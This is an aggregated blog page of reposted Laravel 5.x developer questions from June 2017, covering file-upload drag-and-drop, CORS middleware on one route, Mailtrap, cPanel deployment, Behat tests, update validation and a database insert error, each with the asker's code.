vendredi 30 juin 2017

Laravel 5.4 - drag drop not working

I have a form with a file input field as:

profile.blade.php

<form id="profile-form" name="profile-form" class="form-horizontal" role="form" method="post" enctype="multipart/form-data" action="">
    

     <div class="form-group">
         <div class="col-xs-12">
             <label class="col-sm-3 control-label no-padding-right" for="avatar"> Avatar </label>
             <div class="col-xs-12 col-sm-5">
                 <input type="file" id="avatar" name="avatar" value="">
             </div>
          </div>
      </div>

     <div class="clearfix form-actions">
         <div class="col-md-offset-3 col-md-9">
             <button class="btn btn-success btn-submit" type="submit">
                 <i class="ace-icon fa fa-save fa-fw bigger-110"></i> Save changes</button>    
         </div>
     </div>    
</form>

web.php

Route::post('user/profileAction', 'UserController@profileAction');

UserController.php

class UserController extends Controller
{             
    public function profileAction(Request $request)
    {
        dd($request->all());
    }
}

scripts

<script type="text/javascript">
        jQuery(function ($) {

            function show() {
                @if(!empty($user->avatar))
                    $('.restore-group').show('fast');
                @endif
            }

            function populate() {
                @if(!empty($user->avatar))
                    avatar.ace_file_input('show_file_list', [
                    {type: 'image', name: '', path: ''}
                ]);
                @endif
            }

            var avatar = $('#avatar');

            avatar.ace_file_input({
                style: 'well',
                btn_change: null,
                droppable: true,
                thumbnail: 'small',
                btn_choose: "Drop images here or click to choose",
                no_icon: "ace-icon fa fa-picture-o",
                allowExt: ["jpeg", "jpg", "png", "gif", "bmp"],
                allowMime: ["image/jpg", "image/jpeg", "image/png", "image/gif", "image/bmp"],
                show_file_list: ['file.png'],
                before_remove: function () {
                    show();
                    $('#_action').val('removed');
                    return true;
                },
                before_change: function () {
                    show();
                    $('#_action').val('changed');
                    return true;
                }
            }).on('change', function(){
                console.log($(this).data('ace_input_files'));
                //console.log($(this).data('ace_input_method'));
            });

            populate();
         });
 </script>

This renders a drag and drop form which looks like so: enter image description here

The form fields may look a little different since I only posted the relevant code.

My problem is, when I drag drop the file, its preview appears in the middle preview window, but when I proceed to the next page, the field is not shown. I even tried doing $request()->all(), but no values for the file input.

But when I manually select a file, and submit, it shows. I have also added enctype="multipart/form-data", but still no success.

If it helps, I am using this template. The custom file input section is what I am looking at. I have also imported all relevant .css and .js files.

Please help me. Thanks.



via Chebli Mohamed

Larave: CORS is working on all routes controller@method except for one route

I have Handled CROS in my Laravel Application for a certain resource

Route::resource('question', 'QuestionController');

when I added a new route within the same Route Group it doesn't work, for instance, this is the new route I wanted to add

Route::get('question/{question}/reply', 'QuestionController@getReply')->name('question.reply');

when I connect to this endpoint it gives me this: what I get when I request anything from the above endpoint

another wired thing is: when I rename the method to something that is from the resource defaule methods like show for instance, it works!

so If I renamed the routes to

Route::get('question/{question}/reply', 'QuestionController@show')->name('question.reply');

it works like a charm, why is that !!!!!!

Here is my QuestionController

    <?php

namespace App\Http\Controllers;

use App\Http\Controllers\elfehres\transformers\ReplyTransformer;
use Illuminate\Http\Request;
use App\Http\Controllers\elfehres\transformers\QuestionTransformer;
use App\Http\Controllers\elfehres\transformers\TagTransformer;
use App\Question;


//TODO handle duplicate entries
//TODO copy everything related to the index function from refereneController into QuestionController

class QuestionController extends ApiController
{

    protected $questionTransformer;
    protected $morphClass = 'replies';

    /**
     * ReferenceController constructor.
     */
    public function __construct()
    {
        $this->questionTransformer = resolve(QuestionTransformer::class);
        $this->middleware('jwt.auth', ['except' => ['index','show','getReply']]);
    }

    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        //TODO handle user transformation outside the question transformer, it should be handled here with tags
        $limit = (request('limit')) ? (request('limit') < 20) ? request('limit') : 20 :3;
        $questions = Question::paginate($limit)->load('user','tags.user')->map(function ($question) {
            $question['summary'] =   $question->replies()->repliesSummary()->toArray();
            $transformedRelatedQuestionObjectData = $this->transformRawQuestion([
                'tags'      =>  $question['tags']->toArray(),
            ]);

            unset($question['tags']);

            $transformedReference= $this->questionTransformer->transform($question, $transformedRelatedQuestionObjectData);

            return $transformedReference;
        });

        return response($questions); //TODO :: handle transforming the response before sending it
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        //
    }

    public function getReply($id)
    {
        $question = Question::find($id);

        if(! $question){
            return $this->respondNotFound("Question is not found");
        }

        $question['summary'] =   $question->replies()->repliesSummary()->toArray();
        $fullRawReferenceObject = $question->load('replies.reply', 'replies.user')->toArray();

        $transformedRelatedReferenceObjectData = $this->transformRawReferenceObject([
            'tags'  =>  [],
            'replies'   =>  $fullRawReferenceObject['replies']
        ]);

        unset( $fullRawReferenceObject['replies']);

        $transformedReference= $this->questionTransformer->transform($fullRawReferenceObject, $transformedRelatedReferenceObjectData);

        return $this->respond($transformedReference);

    }
    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        //TODO return replies grouped by reply type instead of implementing it in the frontend, handle it here.
        //TODO handle show method
        //hanlde returning only the quesiton, and don't return the replies, until the user asks for it

        $question = Question::find($id);

        if(! $question){
            return $this->respondNotFound("Question is not found");
        }

        $question['summary'] =   $question->replies()->repliesSummary()->toArray();

        $fullRawReferenceObject = $question->load('user','tags.user')->toArray();

        $transformedRelatedReferenceObjectData = $this->transformRawReferenceObject([
            'tags'      =>  $fullRawReferenceObject['tags'],
            'replies'   =>  []//$fullRawReferenceObject['replies']
        ]);


        unset(  $fullRawReferenceObject['tags']
          //  $fullRawReferenceObject['replies']
        );

        $transformedReference= $this->questionTransformer->transform($fullRawReferenceObject, $transformedRelatedReferenceObjectData);

        return $this->respond($transformedReference);

    }

    public function transformRawReferenceObject($relatedReferenceObjectsTobeTransformedForSingleReferenceDisplay)
    {
        return array_merge( ['tags'      =>     $this->transformTagsForReference($relatedReferenceObjectsTobeTransformedForSingleReferenceDisplay['tags'])],
                            ['replies'   =>     $this->transformRepliesForQuestion($relatedReferenceObjectsTobeTransformedForSingleReferenceDisplay['replies'])]
        );
    }

    public function transformRawQuestion($relatedReferenceObjectsTobeTransformedForSingleReferenceDisplay)
    {
        return array_merge( ['tags'      =>     $this->transformTagsForReference($relatedReferenceObjectsTobeTransformedForSingleReferenceDisplay['tags'])] );
    }

    public function transformRepliesForQuestion($replies)
    {
        return array_map([$this, 'transformReplyForQuestion'], $replies);
    }

    public function transformReplyForQuestion($reply){

        $replyTransformer = resolve(ReplyTransformer::class);
        $transformedReply = $replyTransformer->transform($reply);

        unset($replyTransformer);
        return $transformedReply;
    }

    public function transformTagsForReference(array $tags)
    {
        $tagTransformer     =   resolve(TagTransformer::class);
        $transformedTags    =   $tagTransformer->transformTagsForPatchReferenceDisplay($tags);

        unset($tagTransformer);
        return $transformedTags;
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        //
    }
}

This is my api.php

    <?php

use Illuminate\Http\Request;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/
//
//Route::middleware('auth:api')->get('/user', function (Request $request) {
//    return $request->user();
//});



Route::post('authenticate', 'AuthenticateController@authenticate');
Route::get('refresh', 'AuthenticateController@refresh');

Route::middleware('cors')->get('question/{question}/reply', 'QuestionController@getReply')->name('question.reply'); //TODO handle CORS Here

Route::resource('reference', 'ReferenceController');
Route::resource('question', 'QuestionController');
Route::resource('tag', 'TagController');
Route::resource('book', 'BookReplyController');
Route::resource('video', 'VideoReplyController');
Route::resource('sci_paper', 'SPaperController');

Here is my cors middleware

<?php

namespace App\Http\Middleware;

use Closure;

class Cors {
    public function handle($request, Closure $next)
    {
       $response = $next($request)
       ->header('Access-Control-Allow-Origin', '*')
        ->header('Access-Control-Allow-Methods', '*')
        ->header('Access-Control-Allow-Headers', 'Origin, Content-Type, Accept, Authorization, X-Request-With')
        ->header('Access-Control-Allow-Credentials', 'true');

        return $response;

    }
}

here is my app/Http/Kernal.php

<?php

namespace App\Http;

use Illuminate\Foundation\Http\Kernel as HttpKernel;

class Kernel extends HttpKernel
{
    /**
     * The application's global HTTP middleware stack.
     *
     * These middleware are run during every request to your application.
     *
     * @var array
     */
    protected $middleware = [
        \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
        \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class,
        \App\Http\Middleware\TrimStrings::class,
        \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class,
    ];

    /**
     * The application's route middleware groups.
     *
     * @var array
     */
    protected $middlewareGroups = [
        'web' => [
            \App\Http\Middleware\EncryptCookies::class,
            \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
            \Illuminate\Session\Middleware\StartSession::class,
            // \Illuminate\Session\Middleware\AuthenticateSession::class,
            \Illuminate\View\Middleware\ShareErrorsFromSession::class,
//            \App\Http\Middleware\VerifyCsrfToken::class,
            \Illuminate\Routing\Middleware\SubstituteBindings::class,
        ],

        'api' => [
            'throttle:60,1',
            'bindings',
            'cors' => \App\Http\Middleware\Cors::class,
        ],
    ];

    /**
     * The application's route middleware.
     *
     * These middleware may be assigned to groups or used individually.
     *
     * @var array
     */
    protected $routeMiddleware = [
        'auth' => \Illuminate\Auth\Middleware\Authenticate::class,
        'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class,
        'bindings' => \Illuminate\Routing\Middleware\SubstituteBindings::class,
        'can' => \Illuminate\Auth\Middleware\Authorize::class,
        'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class,
        'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class,
        'jwt.auth' => 'Tymon\JWTAuth\Middleware\GetUserFromToken',
        'jwt.refresh' => 'Tymon\JWTAuth\Middleware\RefreshToken',
        'cors' => \App\Http\Middleware\Cors::class,

    ];
}

here is the

php artisan route:list 

result

    +--------+-----------+-----------------------------------+-------------------+----------------------------------------------------------+--------------+
| Domain | Method    | URI                               | Name              | Action                                                   | Middleware   |
+--------+-----------+-----------------------------------+-------------------+----------------------------------------------------------+--------------+
|        | GET|HEAD  | /                                 |                   | Closure                                                  | web          |
|        | POST      | api/v2/authenticate               |                   | App\Http\Controllers\AuthenticateController@authenticate | api          |
|        | POST      | api/v2/book                       | book.store        | App\Http\Controllers\BookReplyController@store           | api          |
|        | GET|HEAD  | api/v2/book                       | book.index        | App\Http\Controllers\BookReplyController@index           | api          |
|        | GET|HEAD  | api/v2/book/create                | book.create       | App\Http\Controllers\BookReplyController@create          | api          |
|        | DELETE    | api/v2/book/{book}                | book.destroy      | App\Http\Controllers\BookReplyController@destroy         | api          |
|        | PUT|PATCH | api/v2/book/{book}                | book.update       | App\Http\Controllers\BookReplyController@update          | api          |
|        | GET|HEAD  | api/v2/book/{book}                | book.show         | App\Http\Controllers\BookReplyController@show            | api          |
|        | GET|HEAD  | api/v2/book/{book}/edit           | book.edit         | App\Http\Controllers\BookReplyController@edit            | api          |
|        | GET|HEAD  | api/v2/question                   | question.index    | App\Http\Controllers\QuestionController@index            | api          |
|        | POST      | api/v2/question                   | question.store    | App\Http\Controllers\QuestionController@store            | api,jwt.auth |
|        | GET|HEAD  | api/v2/question/create            | question.create   | App\Http\Controllers\QuestionController@create           | api,jwt.auth |
|        | DELETE    | api/v2/question/{question}        | question.destroy  | App\Http\Controllers\QuestionController@destroy          | api,jwt.auth |
|        | GET|HEAD  | api/v2/question/{question}        | question.show     | App\Http\Controllers\QuestionController@show             | api          |
|        | PUT|PATCH | api/v2/question/{question}        | question.update   | App\Http\Controllers\QuestionController@update           | api,jwt.auth |
|        | GET|HEAD  | api/v2/question/{question}/edit   | question.edit     | App\Http\Controllers\QuestionController@edit             | api,jwt.auth |
|        | GET|HEAD  | api/v2/question/{question}/reply  | question.reply    | App\Http\Controllers\QuestionController@getReply         | api,cors     |
|        | POST      | api/v2/reference                  | reference.store   | App\Http\Controllers\ReferenceController@store           | api,jwt.auth |
|        | GET|HEAD  | api/v2/reference                  | reference.index   | App\Http\Controllers\ReferenceController@index           | api          |
|        | GET|HEAD  | api/v2/reference/create           | reference.create  | App\Http\Controllers\ReferenceController@create          | api,jwt.auth |
|        | PUT|PATCH | api/v2/reference/{reference}      | reference.update  | App\Http\Controllers\ReferenceController@update          | api,jwt.auth |
|        | GET|HEAD  | api/v2/reference/{reference}      | reference.show    | App\Http\Controllers\ReferenceController@show            | api          |
|        | DELETE    | api/v2/reference/{reference}      | reference.destroy | App\Http\Controllers\ReferenceController@destroy         | api,jwt.auth |
|        | GET|HEAD  | api/v2/reference/{reference}/edit | reference.edit    | App\Http\Controllers\ReferenceController@edit            | api,jwt.auth |
|        | GET|HEAD  | api/v2/refresh                    |                   | App\Http\Controllers\AuthenticateController@refresh      | api          |
|        | POST      | api/v2/sci_paper                  | sci_paper.store   | App\Http\Controllers\SPaperController@store              | api          |
|        | GET|HEAD  | api/v2/sci_paper                  | sci_paper.index   | App\Http\Controllers\SPaperController@index              | api          |
|        | GET|HEAD  | api/v2/sci_paper/create           | sci_paper.create  | App\Http\Controllers\SPaperController@create             | api          |
|        | PUT|PATCH | api/v2/sci_paper/{sci_paper}      | sci_paper.update  | App\Http\Controllers\SPaperController@update             | api          |
|        | DELETE    | api/v2/sci_paper/{sci_paper}      | sci_paper.destroy | App\Http\Controllers\SPaperController@destroy            | api          |
|        | GET|HEAD  | api/v2/sci_paper/{sci_paper}      | sci_paper.show    | App\Http\Controllers\SPaperController@show               | api          |
|        | GET|HEAD  | api/v2/sci_paper/{sci_paper}/edit | sci_paper.edit    | App\Http\Controllers\SPaperController@edit               | api          |
|        | POST      | api/v2/tag                        | tag.store         | App\Http\Controllers\TagController@store                 | api          |
|        | GET|HEAD  | api/v2/tag                        | tag.index         | App\Http\Controllers\TagController@index                 | api          |
|        | GET|HEAD  | api/v2/tag/create                 | tag.create        | App\Http\Controllers\TagController@create                | api          |
|        | DELETE    | api/v2/tag/{tag}                  | tag.destroy       | App\Http\Controllers\TagController@destroy               | api          |
|        | GET|HEAD  | api/v2/tag/{tag}                  | tag.show          | App\Http\Controllers\TagController@show                  | api          |
|        | PUT|PATCH | api/v2/tag/{tag}                  | tag.update        | App\Http\Controllers\TagController@update                | api          |
|        | GET|HEAD  | api/v2/tag/{tag}/edit             | tag.edit          | App\Http\Controllers\TagController@edit                  | api          |
|        | POST      | api/v2/video                      | video.store       | App\Http\Controllers\VideoReplyController@store          | api          |
|        | GET|HEAD  | api/v2/video                      | video.index       | App\Http\Controllers\VideoReplyController@index          | api          |
|        | GET|HEAD  | api/v2/video/create               | video.create      | App\Http\Controllers\VideoReplyController@create         | api          |
|        | PUT|PATCH | api/v2/video/{video}              | video.update      | App\Http\Controllers\VideoReplyController@update         | api          |
|        | DELETE    | api/v2/video/{video}              | video.destroy     | App\Http\Controllers\VideoReplyController@destroy        | api          |
|        | GET|HEAD  | api/v2/video/{video}              | video.show        | App\Http\Controllers\VideoReplyController@show           | api          |
|        | GET|HEAD  | api/v2/video/{video}/edit         | video.edit        | App\Http\Controllers\VideoReplyController@edit           | api          |
+--------+-----------+-----------------------------------+-------------------+----------------------------------------------------------+--------------+

so I believe that it should be working properly, please if someone can tell me what it works only for the

Route::resource('question','QuestionController')

I would be really glad sorry for the long details



via Chebli Mohamed

Mailtrap is not catching emails

I'm new to laravel, and I'm trying to send a test email with mailtrap from my route 'welcome'. But when i load the route the message only appears in my log file and not in my mailtrap. And i already put the host, port, username and pass in my .env file and i already try with gmail and it makes the same. Please help

use Illuminate\Mail\Message;
use Illuminate\Support\Facades\Mail;

Route::get('welcome', function(){
    Mail::send('emails.apartado', ['name' => 'Oscar'], function (Message $message) {
        $message->to('nogalessocial@gmail.com', 'Nogales Social')
            ->from('ventas@nogalessocial.com', 'Ventas Nogales Social')
            ->subject('Mensaje de Prueba');
    });
});

This is my log file

[2017-06-30 20:50:59] local.DEBUG: Message-ID: <7c0e0d3df7004d2f1e8f2475b7d0c264@127.0.0.1>
Date: Fri, 30 Jun 2017 20:50:59 +0000
Subject: Mensaje de Prueba
From: Ventas Nogales Social <ventas@nogalessocial.com>
To: Nogales Social <nogalessocial@gmail.com>
MIME-Version: 1.0
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable

<h1>Testing Message Oscar</h1>  



via Chebli Mohamed

Laravel : Get 403 Error In Setting Up Project In Cpanel

i'vd created project-name folder inside public_html and placed public's content into it and another folder inside project-name which i named it logic and put all laravel's project file into it except public folder

And

i've modifyed index.php like this

require __DIR__.'/../bootstrap/autoload.php';

to

require __DIR__.'/logic/bootstrap/autoload.php';

also

$app = require_once __DIR__.'/../bootstrap/app.php';

to

$app = require_once __DIR__.'/logic/bootstrap/app.php';

But, when i wanna access to http://ift.tt/2sqyXF5 i got 403 error

folder structure look like this

public_html
  >other_folders
  >project-name
    |logic
      |app
      |bootstrap
      |database
      |and other project's file&folder
    |index.php
    |.htaccess
    |etc



via Chebli Mohamed

update laravel 5.0 to 5.1 on a server with php below 7

(apologies in advance due to lack of communication skills, English is not my first language ) Hello everyone, I am running a laravel 5.0 app and i am planning to upgrade to 5.1 to gradually get to 5.4, i'm using an Arvixe server with SSH, CPanel and WHM access i know 5.1 needs PHP 5.6.30 to run and right now my application is running with php 7.0 but in order to do it i had to change in Cpanel the php selector to PHP 7 because by default PHP 5.4 was in place and now when i try to update my app is telling me that php version is below requirements i even try to install laravel 5.1 from 0 and i am getting the same error, is that and indication that my server has only PHP 5.4 and is so how i was able to change the PHP selector to 7??? what i can do to update my app??



via Chebli Mohamed

Laravel Installation on Apache - index.php issues

I've been encountering a slew of issues with a fresh install of Laravel on Ubuntu recently but this latest one has me baffled. I was receiving the WSOD with zero errors in apache/php logs or laravel logs, despite having debug set to true and error display in PHP enabled. I updated the index.php file in public to add a die("Test"); line just to see if that was at least working.

It was, which was great - Test displayed on the site. However, now it won't go away. I've tried updating the text to something else, completely removing the line, etc., artisan cache-clear, composer cache clear and dump-autoload, and I've cleared out any cached items in the storage folders. I've cleared my personal cache and tried different browsers, also, so it's not a personal cache issue. I also tried restarting apache.

All of my chmod permissions should be correct at this point (bootstrap/cache is 755, all of the storage and subfolders are 755). I have had laravel write to the log for another issue (from CLI - a test I did just to make sure permissions were working) so that shouldn't be the problem.

I have this working perfectly fine in laragon on my local Windows machine but have had nothing but issues getting this guy up and running on this Ubuntu server. I have another prod instance of laravel that never gave me this much trouble, either, on another Ubuntu server (and usually it was just a permissions issue). Really not sure what to do at this point or what information might be useful. Hoping that someone else has run into something similar and can shed some light....



via Chebli Mohamed

How to create CORS Proxy in Laravel?

I'm trying to add an image to HTML5 canvas and source of the URL is cloud front. Now I need to proxy it through my domain as cross origin request doesnt work on canvas.

How can I create a simple proxy using Laravel.

like....

/proxy?url=cloudfronturl



via Chebli Mohamed

laravel 5 behat tests are failing with functions in models

I’m running against an issue with behat / mink set up on Laravel 5.4 where its failing to return values from functions within models and I am looking for some advise on how i would resolve this issue.

An example on a very basic laravel install follows below:

eg. I have a model called User.php and inside it i have the following function

public static function someFunction(){
    return 'Some Function';
}

within my home.controller i have the following defined for index()

eg

/**
 * Show the application dashboard.
 *
 * @return \Illuminate\Http\Response
 */
public function index()
{
        $user = Auth::user();
        return view('home',compact('user'));
}

and within the corresponding blade file i have the following

and i have a feature set up as the following:

Scenario: Home Page           # features/hometest.feature:6
    Given I am on the homepage  # FeatureContext::iAmOnHomepage()
    Then I should see "Laravel" # FeatureContext::assertPageContainsText()

Scenario: Check we can login
    When I go to "/register"
    And I fill in "Name" with "Dave"
    And I fill in "E-Mail Address" with "Dave@dave.com"
    And I fill in "Password" with "password"
    And I fill in "Confirm Password" with "password"
    And I press "Register"
    And I should see "You are logged in!"

Scenario: Check we can access the homepage as Dave
    Given I am logged in as Dave
    When I go to "/home"
    And I should see "Some Function"

which corresponds to a function within my FeatureContext.php

/**
 * @Given /^(?:|I )am logged in as Dave$/
 */
public function iAmLoggedInAsDave()
{
    $this->visit('/login');
    $this->fillField('E-Mail Address', 'dave@dave.com');
    $this->fillField('Password', 'password');
    $this->pressButton('Login');
    $this->printCurrentUrl();
}

if i view the above via the browser, i can see

You are logged in! {"id":1,"name":"Dave","email":"Dave@dave.com","created_at":"2017-06-30 16:10:39","updated_at":"2017-06-30 16:10:39"} Some Function

Which would correspond to a pass for my test.

But when i run behat, within my /home/vagrant/Code/client/client.app directory ../vendor/behat/behat/bin/behat

I get a fail

    Scenario: Check we can login       # features/hometest.feature:19
        Given I am logged in as Dave     # FeatureContext::iAmLoggedInAsDave()
            │ http://localhost/home
        When I go to "/home"             # FeatureContext::visit()
        And I should see "Some Function" # FeatureContext::assertPageContainsText()
            The text "Some Function" was not found anywhere in the text of the current page. (Behat\Mink\Exception\ResponseTextException)

and i get the following error in my logs.

Next ErrorException: Call to undefined method Illuminate\Database\Query\Builder::someFunction() (View: /home/vagrant/Code/client/http://ift.tt/2s9LZmb) in /home/vagrant/Code/client/vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:2450

My current development platform is set up using homestead using vagrant.

I have the following within behat.yml

default:
    extensions:
        Laracasts\Behat:
            env_path: .env.behat
        Behat\MinkExtension:
            default_session: laravel
            laravel: ~



via Chebli Mohamed

Get User in Laravel 5.4 Controller constructor

I have Laravel 5.4 Base Controller which should share along children Controllers some common data depending on current Authenticated user.

I was Trying to get it like

public function __construct(ValidationFactory $validation)
{
    $this->middleware(array('auth', 'lockscreen'));
    var_dump(\Auth::user();
    die;  
}

this do not works.



via Chebli Mohamed

Laravel request, update validation

I have a form which will update user details, however for obvious reasons if user want's to update a name but not a email address, it will stay the same. However despite my all efforts I cannot bypass that.

So let's say my email is:

test@test.com

and I am updating my profile

email is still test@test.com

it throws me an error saying that email must be unique.

So i tried this:

<?php

namespace App\Http\Requests;

use Illuminate\Foundation\Http\FormRequest;

class UserRequest extends FormRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        return [
            'name' => 'required|alpha_spaces|min:5|max:30',
            'email' => 'required|email|unique:users,email,'.$user->id,
            'telephone' => 'required|numeric|max:15',
            'twitter' => 'alpha_dash',
            'facebook' => 'alpha_dash',
            'instagram' => 'alpha_dash',
        ];
    }
    public function messages()
    {
        return [
            'name.required' => 'Name is required',
            'name.alpha_spaces' => 'Name can only contain letters and spaces',
            'name.min' => 'Name must contain at least 5 characters',
            'name.max' => 'Name can only contain up to 30 characters',

            'email.required' => 'Email address is required',
            'email.email' => 'Email address must be a right format',
            'email.unique' => 'Email address must be unique',

            'telephone.required' => 'Telephone is required',
            'telephone.numeric' => 'Telephone can only contain numbers',
            'telephone.max' => 'Telephone can only contain maximum of 11 characters',

            'twitter.alpha_dash' => 'Twitter can only contain letters and dashes',

            'facebook.alpha_dash' => 'Facebook can only contain letters and dashes',

            'instagram.alpha_dash' => 'Instagram can only contain letters and dashes',
    ];
    }
}

however I get:

Undefined variable: user

   public function update(UserRequest $request, $id)
    {
        $user = User::find($id);
        $name = $request->input('name');
        $email = $request->input('email');
        $twitter = $request->input('twitterp');
        $facebook = $request->input('facebookp');
        $instagram = $request->input('instagramp');
        $telephone = $request->input('telephone');
        $user->name = $name;
        $user->email = $email;
        $user->twitter_personal = $twitter;
        $user->facebook_personal = $facebook;
        $user->instagram_personal = $instagram;
        $user->telephone = $telephone;
        $result = $user->save();
        if($result) {
        $message = 'success';
        }else{
        $message = 'error';
        }
       return redirect()->back()->withInput()->with('message', $message);
    }



via Chebli Mohamed

Laravel show error getimagesize on image update

I am having a strange issue here on image update. After add a new product I need the option of update image and get this error while inserting it everything is ok.

getimagesize(2.png): failed to open stream: No such file or directory

Here is my code

 $file = $request->image;

        if (isset($file))
        {
            list($width, $height) = getimagesize($file);
            $extension = $file->getClientOriginalExtension();
            $final_filename = $file->getFilename() . '.' . $extension;

            $new_height_75 = (75 * $height) / $width;
            $thumb_img_75 = Image::make($file->getRealPath())->resize(75, $new_height_75);
            $thumb_img_75->save(public_path('attachments/product_images/thumbs_75').'/'.$final_filename,80);



            $new_height_250 = (250 * $height) / $width;
            $thumb_img_250 = Image::make($file->getRealPath())->resize(250, $new_height_250);
            $thumb_img_250->save(public_path('attachments/product_images/thumbs_250').'/'.$final_filename,80);

            $new_height_150 = (150 * $height) / $width;
            $thumb_img_150 = Image::make($file->getRealPath())->resize(150, $new_height_150);
            $thumb_img_150->save(public_path('attachments/product_images/thumbs_150').'/'.$final_filename,80);

            Storage::disk('product_images')->put($final_filename, File::get($file));



            $product->image = $final_filename;

        }

If i dd($file ); it gets the file I want to upload. Thanks



via Chebli Mohamed

Laravel add dynamic parameter before route

I have a route like

http://ift.tt/2ttzZ2E

It give me error that route not found. Any solution for this



via Chebli Mohamed

Registering Controller in Service Provider in Laravel

I am getting the following error when I visit my localhost website http:\guam.dev\people

ReflectionException

Class Dashboard does not exist

This is my Directory structure.

laravel
-vendor
--student
---people
----composer.json
----src
-----PeopleServiceProvider.php
-----Controllers
------SuperAdmin
-------Dashboard.php
-----Routes
-----Views

This is my PeopleServiceProvider.php

namespace Student\People;

use Illuminate\Support\ServiceProvider;

class PeopleServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap the application services.
     *
     * @return void
     */
    public function boot()
    {
        include __DIR__ . '/Routes/routes.php';
        $this->loadViewsFrom(__DIR__.'/Views/SuperAdmin/Dashboard', 'People');
    }

    /**
     * Register the application services.
     *
     * @return void
     */
    public function register()
    {
        $this->app->make('Student\People\Dashboard');
    }
}

Controller file : Dashboard.php

namespace Student\People;

use Illuminate\Http\Request;
use App\Http\Requests;
use App\Http\Controllers\Controller;

class Dashboard extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        return view('app');
    }
}

What am I doing wrong ? I am following an old tutorial, but there isn't much explanation about controllers there.



via Chebli Mohamed

Why performInsert() removes field from array?

I don't understand why performInsert() deletes my '_logo' field in Laravel 5.2. My model has everything fillable except for 'id', 'created_at' and 'updated_at'.

(2/2) QueryException

SQLSTATE[HY000]: General error: 1364 Field '_logo' doesn't have a default value (SQL: insert into `LC_portatori` (`nome`, `cognome`, `tipo`, `pwd`, `telefono`, `indirizzo`, `email`, `updated_at`, `created_at`) values (Nome, CognomE, TipO, PwD, TelefonO, IndirizzO, emaiL, 2017-06-30 11:37:52, 2017-06-30 11:37:52))
in Connection.php (line 647)
at Connection->runQueryCallback('insert into `LC_portatori` (`nome`, `cognome`, `tipo`, `pwd`, `telefono`, `indirizzo`, `email`, `updated_at`, `created_at`) values (?, ?, ?, ?, ?, ?, ?, ?, ?)', array('Nome', 'CognomE', 'TipO', 'PwD', 'TelefonO', 'IndirizzO', 'emaiL', '2017-06-30 11:37:52', '2017-06-30 11:37:52'), object(Closure))
in Connection.php (line 607)
at Connection->run('insert into `LC_portatori` (`nome`, `cognome`, `tipo`, `pwd`, `telefono`, `indirizzo`, `email`, `updated_at`, `created_at`) values (?, ?, ?, ?, ?, ?, ?, ?, ?)', array('Nome', 'CognomE', 'TipO', 'PwD', 'TelefonO', 'IndirizzO', 'emaiL', '2017-06-30 11:37:52', '2017-06-30 11:37:52'), object(Closure))
in Connection.php (line 450)
at Connection->statement('insert into `LC_portatori` (`nome`, `cognome`, `tipo`, `pwd`, `telefono`, `indirizzo`, `email`, `updated_at`, `created_at`) values (?, ?, ?, ?, ?, ?, ?, ?, ?)', array('Nome', 'CognomE', 'TipO', 'PwD', 'TelefonO', 'IndirizzO', 'emaiL', '2017-06-30 11:37:52', '2017-06-30 11:37:52'))
in Connection.php (line 404)
at Connection->insert('insert into `LC_portatori` (`nome`, `cognome`, `tipo`, `pwd`, `telefono`, `indirizzo`, `email`, `updated_at`, `created_at`) values (?, ?, ?, ?, ?, ?, ?, ?, ?)', array('Nome', 'CognomE', 'TipO', 'PwD', 'TelefonO', 'IndirizzO', 'emaiL', '2017-06-30 11:37:52', '2017-06-30 11:37:52'))
in Processor.php (line 32)
at Processor->processInsertGetId(object(Builder), 'insert into `LC_portatori` (`nome`, `cognome`, `tipo`, `pwd`, `telefono`, `indirizzo`, `email`, `updated_at`, `created_at`) values (?, ?, ?, ?, ?, ?, ?, ?, ?)', array('Nome', 'CognomE', 'TipO', 'PwD', 'TelefonO', 'IndirizzO', 'emaiL', '2017-06-30 11:37:52', '2017-06-30 11:37:52'), 'id')
in Builder.php (line 2138)
at Builder->insertGetId(array('Nome', 'CognomE', 'TipO', 'PwD', 'TelefonO', 'IndirizzO', 'emaiL', '2017-06-30 11:37:52', '2017-06-30 11:37:52'), 'id')
in Builder.php (line 1247)
at Builder->__call('insertGetId', array(array('nome' => 'Nome', 'cognome' => 'CognomE', 'tipo' => 'TipO', 'pwd' => 'PwD', 'telefono' => 'TelefonO', 'indirizzo' => 'IndirizzO', 'email' => 'emaiL', 'updated_at' => '2017-06-30 11:37:52', 'created_at' => '2017-06-30 11:37:52'), 'id'))
in Model.php (line 684)
